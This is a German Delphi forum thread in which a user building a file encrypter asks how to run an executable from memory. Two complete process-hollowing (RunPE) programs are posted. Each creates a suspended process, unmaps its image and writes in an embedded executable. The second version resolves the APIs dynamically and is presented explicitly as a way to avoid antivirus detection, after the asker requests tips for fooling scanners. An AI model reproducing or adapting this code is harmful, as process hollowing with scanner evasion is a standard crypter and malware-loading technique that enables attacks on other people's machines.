Autor Beitrag
Force
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starontopic star
Beiträge: 143

Ubuntu Jaunty
FreePascal
BeitragVerfasst: Do 25.02.10 10:13 
Hi,

ich arbeite zur Zeit an einem Kryptographie-Programm, welches unter anderem auch in der Lage sein soll EXE-Dateien zu verschlüsseln und nach Eingabe eines Passworts zu entschlüsseln und dann zu starten.
Empfehlenswert dafür wäre es natürlich, wenn die Exe direkt aus einem TMemoryStream gestartet werden könnte, da sie dann nicht extra auf die Platte geschrieben werden muss (und u.U. die entschlüsselte Datei kopiert werden könnte).

Ist es mit Delphi überhaupt möglich eine Datei während der Laufzeit in einem Stream zu laden und auszuführen? Wenn ja, wie wäre dies zu realisieren? Leider kenne ich mich nicht wirklich mit der WinAPI aus und noch weniger mit interner Speicherverwaltung etc :-/
Auch meine Google-Recherchen (schreibt man das so? :D) haben es leider nicht weit gebracht, ich habe nur ein paar Codeschnippsel für C gefunden...

Würde mich unheimlich über eine Antwort freuen!

LG Marc

_________________
There are 1010 kinds of people. Those who understand base-negative-1 notation, and those who do not.
BenBE
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 8721
Erhaltene Danke: 191

Win95, Win98SE, Win2K, WinXP
D1S, D3S, D4S, D5E, D6E, D7E, D9PE, D10E, D12P, DXEP, L0.9\FPC2.0
BeitragVerfasst: Do 25.02.10 13:36 
Ja, das geht.

Aber die beiden grundlegenden Kenntnisse hast Du schon genannt, fehlen Dir ... Du darfst für sowas nämlich extrem viel von Hand machen ...

_________________
Anyone who is capable of being elected president should on no account be allowed to do the job.
Ich code EdgeMonkey - In dubio pro Setting.
SAiBOT
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 323
Erhaltene Danke: 6

XP SP2; 7
D7; D2009
BeitragVerfasst: Do 25.02.10 23:04 
Ich habe auch nur Code in MASM gefunden, habs' dir fix übersetzt. Du mußt halt nur deine Exe in die Exe.pas hardcoden oder halt deinen Stream-Pointer übergeben.

ausblenden volle Höhe Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
121:
122:
123:
124:
125:
126:
127:
128:
129:
130:
131:
132:
133:
134:
135:
136:
137:
138:
program RunPE;
//; ::::: Running Process from memory :::::
//; :::::     GamingMasteR -AT4RE     :::::
//
//.386p
//.model  flat, stdcall
//option  casemap: none
//
//include    windows.inc
//include    kernel32.inc
//include    ntdll.inc
//include    ExecuteFromMem.Inc
//
//includelib  kernel32.lib
//includelib  ntdll.lib
uses
  Windows,
  Exe;

function NtUnmapViewOfSection(ProcessHandle: THandle;
  BaseAddress: DWORD): DWORD; stdcallexternal 'ntdll.dll';

{$APPTYPE CONSOLE}

//.data
//myname  db  "ExecuteFromMem.exe",0
const
  myname: AnsiString = 'RunPE.exe';
//
//.data?
//
//.code
//main  proc
//  LOCAL sinfo: STARTUPINFO
//  LOCAL pinfo: PROCESS_INFORMATION
//  LOCAL base: dword
//  LOCAL sec: ptr IMAGE_SECTION_HEADER
//  LOCAL cnt: CONTEXT

type
  PIMAGE_SECTION_HEADER = ^IMAGE_SECTION_HEADER;
  PIMAGE_NT_HEADERS     = ^IMAGE_NT_HEADERS;
  PIMAGE_DOS_HEADER     = ^IMAGE_DOS_HEADER;

var
  sinfo   : STARTUPINFOA;
  pinfo   : PROCESS_INFORMATION;
  base    : DWORD;
  sec     : PIMAGE_SECTION_HEADER;
  cnt     : CONTEXT;
  p       : PIMAGE_NT_HEADERS;
  dh      : PIMAGE_DOS_HEADER;
  fool    : Cardinal;
  i,_eax  :Integer;
begin
//  invoke RtlZeroMemory, addr sinfo, sizeof STARTUPINFO
  ZeroMemory(@sinfo, SizeOf(STARTUPINFO));
//  ; create any process in suspend mode,
//  and out progy is the best choice of course ;)
//  invoke CreateProcess, addr myname, 0, 0, 0, 0, CREATE_SUSPENDED,
//    0, 0, addr sinfo, addr pinfo
  CreateProcessA(@myname[1], nilnilnil, FALSE, CREATE_SUSPENDED,
    nilnil, sinfo, pinfo);
//  invoke RtlZeroMemory, addr cnt, sizeof CONTEXT
  ZeroMemory(@cnt, SizeOf(CONTEXT));
//  mov cnt.ContextFlags, CONTEXT_INTEGER
  cnt.ContextFlags := CONTEXT_INTEGER;
//  ; save the main thread context
//  invoke GetThreadContext, pinfo.hThread, addr cnt
  GetThreadContext(pinfo.hThread, cnt);
//  invoke GetModuleHandle, 0
//  ; unmap all the process's sections, and since they are sequenced then
//  they are all unmapped one time
//  invoke ZwUnmapViewOfSection, pinfo.hProcess, eax
  NtUnmapViewOfSection(pinfo.hProcess, GetModuleHandle(nil));
//  mov edi, offset file
//  add edi, IMAGE_DOS_HEADER.e_lfanew[edi]
//  assume edi:  ptr IMAGE_NT_HEADER
  dh := @exefile[0];
  p := Ptr( DWORD(dh) + DWORD(dh^._lfanew));
//  ; reallocate memory for the new process @ base == ImageBase and
//  size == SizeOfImage
//  invoke VirtualAllocEx, pinfo.hProcess, [edi].OptionalHeader.ImageBase,
//    [edi].OptionalHeader.SizeOfImage, MEM_COMMIT + MEM_RESERVE,
//    PAGE_EXECUTE_READWRITE
//  mov base, eax
  base := DWORD(VirtualAllocEx(pinfo.hProcess, Ptr(p^.OptionalHeader.ImageBase),
    p^.OptionalHeader.SizeOfImage, MEM_COMMIT + MEM_RESERVE,
    PAGE_EXECUTE_READWRITE));
//  ; write the new process's header
//  invoke WriteProcessMemory, pinfo.hProcess, base, addr file,
//    [edi].OptionalHeader.SizeOfHeaders, 0
  WriteProcessMemory(pinfo.hProcess, Ptr(base), @exefile[0],
    p^.OptionalHeader.SizeOfHeaders, fool);
//  ; get the 1st section header b4 entering the loop
//  lea eax, [edi].OptionalHeader
//  mov sec, eax
  sec := @p^.OptionalHeader;
//  movzx eax, [edi].FileHeader.SizeOfOptionalHeader
//  add sec, eax
  sec := Ptr( DWORD(sec)+p^.FileHeader.SizeOfOptionalHeader );
//  xor eax, eax
//  xor esi, esi
//  xor ecx, ecx
//  .while ( si < [edi].FileHeader.NumberOfSections )
  for i := 0 to p^.FileHeader.NumberOfSections-1 do
  begin
//    imul eax, esi, sizeof IMAGE_SECTION_HEADER
//    add eax, sec
    _eax := i * SizeOf(IMAGE_SECTION_HEADER) + Integer(sec);
//    mov ebx, base
//    add ebx, IMAGE_SECTION_HEADER.VirtualAddress[eax]
//    mov edx, offset file
//    add edx, IMAGE_SECTION_HEADER.PointerToRawData[eax]
//    ; write every section data
//    invoke WriteProcessMemory, pinfo.hProcess, ebx, edx,
//      IMAGE_SECTION_HEADER.SizeOfRawData[eax],0
    WriteProcessmemory(pinfo.hProcess,
      Ptr(base + PIMAGE_SECTION_HEADER(_eax)^.VirtualAddress),
      Ptr(DWORD(@exefile[0]) + PIMAGE_SECTION_HEADER(_eax)^.PointerToRawData),
      PIMAGE_SECTION_HEADER(_eax)^.SizeOfRawData, fool);
//    inc esi
//  .endw
  end;
//  mov eax, base
//  add eax, [edi].OptionalHeader.AddressOfEntryPoint
//  mov cnt.regEax, eax
  cnt.Eax := base + p^.OptionalHeader.AddressOfEntryPoint;
//  ; make the new process's main thread eax register == the new entry point
//  invoke SetThreadContext, pinfo.hThread, addr cnt
  SetThreadContext(pinfo.hThread, cnt);
//  ; fire it :p
//  invoke ResumeThread, pinfo.hThread
  ResumeThread(pinfo.hThread);
//  ret
//main endp
//end main
end.


Ich hänge mal noch ein Exe.pas Beispiel an!

PS: Mein Avira scheint folgendes nicht zu mögen:
ausblenden Delphi-Quelltext
1:
2:
function NtUnmapViewOfSection(ProcessHandle: THandle;
  BaseAddress: DWORD): DWORD; stdcallexternal 'ntdll.dll';
Einloggen, um Attachments anzusehen!
_________________
Debuggers don't remove bugs, they only show them in slow-motion.

Für diesen Beitrag haben gedankt: spawn89
BenBE
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 8721
Erhaltene Danke: 191

Win95, Win98SE, Win2K, WinXP
D1S, D3S, D4S, D5E, D6E, D7E, D9PE, D10E, D12P, DXEP, L0.9\FPC2.0
BeitragVerfasst: Fr 26.02.10 01:36 
@Saibot: Kannst bitte Source-Link dazu posten?

Ferner: Wenn er's statisch nicht mag (welche Meldung bringt er) was macht er bei dynamischem Aufruf?

_________________
Anyone who is capable of being elected president should on no account be allowed to do the job.
Ich code EdgeMonkey - In dubio pro Setting.
SAiBOT
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 323
Erhaltene Danke: 6

XP SP2; 7
D7; D2009
BeitragVerfasst: Fr 26.02.10 09:03 
www.vbforums.com/sho...217&postcount=11

Meldung: TR/Hijacker.Gen
Ich habe gerade nochmal geguckt, liegt nicht nur an dieser Funktion, es mag noch so einige andere Sachen nicht! Ist mir auch zu blöd mit Avira -.-.

_________________
Debuggers don't remove bugs, they only show them in slow-motion.
Force Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starontopic star
Beiträge: 143

Ubuntu Jaunty
FreePascal
BeitragVerfasst: Sa 27.02.10 12:15 
Tausend Dank!! Der Code arbeitet perfekt, super, danke noch mal dafür!

Hm, ich habe auch AntiVir auf meinem Windowssystem installiert, aber so ziemlich alles was ich versuche hilft nicht wirklich den auszutricksen... ich hab mir überlegt vielleicht einfach ein paar Befehle vom Code in eine DLL zu schreiben, so dass nicht alles in einer Datei gespeichert ist (vielleicht reicht es sogar schon aus, ein paar Anweisungen als Procedure zu schreiben?), mal schauen... habt ihr Tipps wie man Virenscanner am besten in solch einer Situation austricksen kann? ;)
Und, das ist mir jetzt etwas peinlich, aber wie kriege ich den Pointer von einem Stream? Frage mich das schon seit knapp einem halben Jahr :D Ich mein, wenn ich @Stream schreibe wird ja nur die Adresse von der Komponente geliefert, aber nicht von den Daten selber. Sind diese im Arbeitsspeicher eigentlich überhaupt aneinandergereiht?

Aber auf jeden Fall schon mal tausend Dank für den Code!! Habe mir übrigens mal deine Website angeguckt, sieht auf jeden Fall sehr interessant aus, werde die Tage mal den Code für die DLL Injection ausprobieren :)

Liebe Grüße aus Neuseeland,
Marc

_________________
There are 1010 kinds of people. Those who understand base-negative-1 notation, and those who do not.
BenBE
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 8721
Erhaltene Danke: 191

Win95, Win98SE, Win2K, WinXP
D1S, D3S, D4S, D5E, D6E, D7E, D9PE, D10E, D12P, DXEP, L0.9\FPC2.0
BeitragVerfasst: Sa 27.02.10 12:27 
user profile iconForce hat folgendes geschrieben Zum zitierten Posting springen:
Tausend Dank!! Der Code arbeitet perfekt, super, danke noch mal dafür!

Hm, ich habe auch AntiVir auf meinem Windowssystem installiert, aber so ziemlich alles was ich versuche hilft nicht wirklich den auszutricksen... ich hab mir überlegt vielleicht einfach ein paar Befehle vom Code in eine DLL zu schreiben, so dass nicht alles in einer Datei gespeichert ist (vielleicht reicht es sogar schon aus, ein paar Anweisungen als Procedure zu schreiben?), mal schauen...

Jap. Sende eine solche Fehlerkennung an AntiVir und lass sie sie korrigieren.

user profile iconForce hat folgendes geschrieben Zum zitierten Posting springen:
habt ihr Tipps wie man Virenscanner am besten in solch einer Situation austricksen kann? ;)

Nein, aber selbst wenn, wäre das offen im Forum mindestens fraglich, die zu posten ...

user profile iconForce hat folgendes geschrieben Zum zitierten Posting springen:
Und, das ist mir jetzt etwas peinlich, aber wie kriege ich den Pointer von einem Stream?

TMemoryStream.Memory ...

user profile iconForce hat folgendes geschrieben Zum zitierten Posting springen:
Frage mich das schon seit knapp einem halben Jahr :D Ich mein, wenn ich @Stream schreibe wird ja nur die Adresse von der Komponente geliefert, aber nicht von den Daten selber. Sind diese im Arbeitsspeicher eigentlich überhaupt aneinandergereiht?

Ja, die sind aber dort nicht zwingend auf 4K aligned, was Du bräuchtesst, um das nicht zum Starten der EXE nochmals zu kopieren.

user profile iconForce hat folgendes geschrieben Zum zitierten Posting springen:
Aber auf jeden Fall schon mal tausend Dank für den Code!! Habe mir übrigens mal deine Website angeguckt, sieht auf jeden Fall sehr interessant aus, werde die Tage mal den Code für die DLL Injection ausprobieren :)

Liebe Grüße aus Neuseeland,
Marc

Wie gesagt: aktuelle uallCollection gibt's im SVN des Omorphia-Projektes.

_________________
Anyone who is capable of being elected president should on no account be allowed to do the job.
Ich code EdgeMonkey - In dubio pro Setting.
uall@ogc
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 1826
Erhaltene Danke: 11

Win 2000 & VMware
Delphi 3 Prof, Delphi 7 Prof
BeitragVerfasst: Sa 27.02.10 12:39 
Du musst NtUnmapViewOfSection, GetThreadContext, SetThreadContext, VirtualAllocEx, ResumeThread und WriteProcessMemory dynamisch laden dann sollte AntiVir nicht mehr meckern

_________________
wer andern eine grube gräbt hat ein grubengrabgerät
- oder einfach zu viel zeit
SAiBOT
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 323
Erhaltene Danke: 6

XP SP2; 7
D7; D2009
BeitragVerfasst: Sa 27.02.10 18:35 
user profile iconBenBE hat folgendes geschrieben Zum zitierten Posting springen:
Wie gesagt: aktuelle uallCollection gibt's im SVN des Omorphia-Projektes.

Falls das eine Anspielung darauf sein soll, meine Funktionen wären kopiert, muss ich dich leider enttäuschen :lol:. Wobei die Funktionen von Uall bestimmt besser sind :P.

_________________
Debuggers don't remove bugs, they only show them in slow-motion.
uall@ogc
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 1826
Erhaltene Danke: 11

Win 2000 & VMware
Delphi 3 Prof, Delphi 7 Prof
BeitragVerfasst: Sa 27.02.10 18:54 
Sollte wohl erher nur nen Hinweis sein, wo er ggf. auch solche Sachen findet. Und ich glaub auch nicht, dass meine uallCollection jetzt so gut ist, ist teilweise über 5 Jahre alt und ich selbst würde vieles anders machen. Außerdem lädt meine Funktion die original Exe im eigenen Prozess, dein Code erstellt ja extra einen neuen, ist also schon etwas anders.

Etwas versteh ich aber nicht: Was passiert mit der ImportTabelle bei deinem Code und ggf. dlls die nicht geladen wurden? [Oder werden sie später gefüllt?]
Gut die Relocations musst du mit der Methode nicht ändern (im Gegensatz zu meinem).
Btw. sollten die Sections auch die richtigen Access_rechte bekommen (ABER: das ist bei mir auch net so)

Und um es mal zu sagen: SAiBOT hat wirklich viele interessante Artikel auf seiner Page rund ums hooken usw. Ich shcau mir das auch öfter mal an :)

Der Source ohne AntiVir detection:
ausblenden volle Höhe Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
121:
122:
123:
124:
125:
126:
127:
128:
129:
130:
131:
132:
133:
134:
135:
136:
137:
138:
139:
140:
141:
142:
143:
144:
145:
146:
147:
148:
149:
150:
151:
152:
153:
154:
155:
156:
157:
158:
program InMemExe;

//; ::::: Running Process from memory :::::
//; :::::     GamingMasteR -AT4RE     :::::
//
//.386p
//.model  flat, stdcall
//option  casemap: none
//
//include    windows.inc
//include    kernel32.inc
//include    ntdll.inc
//include    ExecuteFromMem.Inc
//
//includelib  kernel32.lib
//includelib  ntdll.lib
uses
  Windows,
  Exe;

var
  XVirtualAllocEx: function(hProcess: THandle; lpAddress: Pointer;
    dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall;
  XWriteProcessMemory: function(hProcess: THandle; const lpBaseAddress: Pointer;
    lpBuffer: Pointer;
    nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; stdcall;
  XNtUnmapViewOfSection: function(ProcessHandle: THandle;
    BaseAddress: DWORD): DWORD; stdcall;
  XGetThreadContext: function(hThread: THandle; var lpContext: TContext): BOOL; stdcall;
  XSetThreadContext: function(hThread: THandle; const lpContext: TContext): BOOL; stdcall;

{$APPTYPE CONSOLE}

  //.data
  //myname  db  "ExecuteFromMem.exe",0
const
  myname: AnsiString = 'RunPE.exe';
  //
  //.data?
  //
  //.code
  //main  proc
  //  LOCAL sinfo: STARTUPINFO
  //  LOCAL pinfo: PROCESS_INFORMATION
  //  LOCAL base: dword
  //  LOCAL sec: ptr IMAGE_SECTION_HEADER
  //  LOCAL cnt: CONTEXT

type
  PIMAGE_SECTION_HEADER = ^IMAGE_SECTION_HEADER;
  PIMAGE_NT_HEADERS = ^IMAGE_NT_HEADERS;
  PIMAGE_DOS_HEADER = ^IMAGE_DOS_HEADER;

var
  sinfo: STARTUPINFOA;
  pinfo: PROCESS_INFORMATION;
  base: DWORD;
  sec: PIMAGE_SECTION_HEADER;
  cnt: CONTEXT;
  p: PIMAGE_NT_HEADERS;
  dh: PIMAGE_DOS_HEADER;
  fool: Cardinal;
  i, _eax: Integer;
  Kernelhandle: THandle;
  NtdllHandle: THandle;
begin
  kernelHandle := GetModuleHandle('kernel32.dll');
  NtdllHandle := GetModuleHandle('ntdll.dll');
  XNtUnmapViewOfSection := GetProcAddress(NtdllHandle, 'NtUnmapViewOfSection');

  XVirtualAllocEx := GetProcAddress(kernelHandle, 'VirtualAllocEx');
  XWriteProcessMemory := GetProcAddress(kernelHandle, 'WriteProcessMemory');
  XGetThreadContext := GetProcAddress(kernelHandle, 'GetThreadContext');
  XSetThreadContext := GetProcAddress(kernelHandle, 'SetThreadContext');
  //  invoke RtlZeroMemory, addr sinfo, sizeof STARTUPINFO
  ZeroMemory(@sinfo, SizeOf(STARTUPINFO));
  //  ; create any process in suspend mode,
  //  and out progy is the best choice of course ;)
  //  invoke CreateProcess, addr myname, 0, 0, 0, 0, CREATE_SUSPENDED,
  //    0, 0, addr sinfo, addr pinfo
  CreateProcessA(PChar(myname), nilnilnil, FALSE, CREATE_SUSPENDED,
    nilnil, sinfo, pinfo);
  //  invoke RtlZeroMemory, addr cnt, sizeof CONTEXT
  ZeroMemory(@cnt, SizeOf(CONTEXT));
  //  mov cnt.ContextFlags, CONTEXT_INTEGER
  cnt.ContextFlags := CONTEXT_INTEGER;
  //  ; save the main thread context
  //  invoke GetThreadContext, pinfo.hThread, addr cnt
  XGetThreadContext(pinfo.hThread, cnt);
  //  invoke GetModuleHandle, 0
  //  ; unmap all the process's sections, and since they are sequenced then
  //  they are all unmapped one time
  //  invoke ZwUnmapViewOfSection, pinfo.hProcess, eax
  XNtUnmapViewOfSection(pinfo.hProcess, GetModuleHandle(nil));
  //  mov edi, offset file
  //  add edi, IMAGE_DOS_HEADER.e_lfanew[edi]
  //  assume edi:  ptr IMAGE_NT_HEADER
  dh := @exefile[0];
  p := Ptr(DWORD(dh) + DWORD(dh^._lfanew));
  //  ; reallocate memory for the new process @ base == ImageBase and
  //  size == SizeOfImage
  //  invoke VirtualAllocEx, pinfo.hProcess, [edi].OptionalHeader.ImageBase,
  //    [edi].OptionalHeader.SizeOfImage, MEM_COMMIT + MEM_RESERVE,
  //    PAGE_EXECUTE_READWRITE
  //  mov base, eax
  base := DWORD(XVirtualAllocEx(pinfo.hProcess,
    Ptr(p^.OptionalHeader.ImageBase),
    p^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE,
    PAGE_EXECUTE_READWRITE));
  //  ; write the new process's header
  //  invoke WriteProcessMemory, pinfo.hProcess, base, addr file,
  //    [edi].OptionalHeader.SizeOfHeaders, 0
  XWriteProcessMemory(pinfo.hProcess, Ptr(base), @exefile[0],
    p^.OptionalHeader.SizeOfHeaders, fool);
  //  ; get the 1st section header b4 entering the loop
  //  lea eax, [edi].OptionalHeader
  //  mov sec, eax
  sec := @p^.OptionalHeader;
  //  movzx eax, [edi].FileHeader.SizeOfOptionalHeader
  //  add sec, eax
  sec := Ptr(DWORD(sec) + p^.FileHeader.SizeOfOptionalHeader);
  //  xor eax, eax
  //  xor esi, esi
  //  xor ecx, ecx
  //  .while ( si < [edi].FileHeader.NumberOfSections )
  for i := 0 to p^.FileHeader.NumberOfSections - 1 do
  begin
    //    imul eax, esi, sizeof IMAGE_SECTION_HEADER
    //    add eax, sec
    _eax := i * SizeOf(IMAGE_SECTION_HEADER) + Integer(sec);
    //    mov ebx, base
    //    add ebx, IMAGE_SECTION_HEADER.VirtualAddress[eax]
    //    mov edx, offset file
    //    add edx, IMAGE_SECTION_HEADER.PointerToRawData[eax]
    //    ; write every section data
    //    invoke WriteProcessMemory, pinfo.hProcess, ebx, edx,
    //      IMAGE_SECTION_HEADER.SizeOfRawData[eax],0
    XWriteProcessMemory(pinfo.hProcess,
      Ptr(base + PIMAGE_SECTION_HEADER(_eax)^.VirtualAddress),
      Ptr(DWORD(@exefile[0]) + PIMAGE_SECTION_HEADER(_eax)^.PointerToRawData),
      PIMAGE_SECTION_HEADER(_eax)^.SizeOfRawData, fool);
    //    inc esi
    //  .endw
  end;
  //  mov eax, base
  //  add eax, [edi].OptionalHeader.AddressOfEntryPoint
  //  mov cnt.regEax, eax
  cnt.Eax := base + p^.OptionalHeader.AddressOfEntryPoint;
  //  ; make the new process's main thread eax register == the new entry point
  //  invoke SetThreadContext, pinfo.hThread, addr cnt
  XSetThreadContext(pinfo.hThread, cnt);
  //  ; fire it :p
  //  invoke ResumeThread, pinfo.hThread
  ResumeThread(pinfo.hThread);
  //  ret
  //main endp
  //end main
end.

_________________
wer andern eine grube gräbt hat ein grubengrabgerät
- oder einfach zu viel zeit

Für diesen Beitrag haben gedankt: spawn89
SAiBOT
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 323
Erhaltene Danke: 6

XP SP2; 7
D7; D2009
BeitragVerfasst: Di 02.03.10 20:49 
user profile iconuall@ogc hat folgendes geschrieben Zum zitierten Posting springen:
Etwas versteh ich aber nicht: Was passiert mit der ImportTabelle bei deinem Code und ggf. dlls die nicht geladen wurden? [Oder werden sie später gefüllt?]
Gut die Relocations musst du mit der Methode nicht ändern (im Gegensatz zu meinem).
Btw. sollten die Sections auch die richtigen Access_rechte bekommen (ABER: das ist bei mir auch net so)


Jetzt bin ich etwas verwirrt, von welchem Code redest du? :shock:

_________________
Debuggers don't remove bugs, they only show them in slow-motion.
kaka77
Hält's aus hier
Beiträge: 13



BeitragVerfasst: Fr 18.03.11 00:42 
manno, kann man das nicht in eine unit packen... so mit zwei methoden:
eine zum ranhängen
und eine zum ausführen???

;)

naja, is ja schon richtig, dass sowas nicht jeder idiot anwenden sollte... aber mannooooo

trotzdem vielen dank für diese veröffentlichung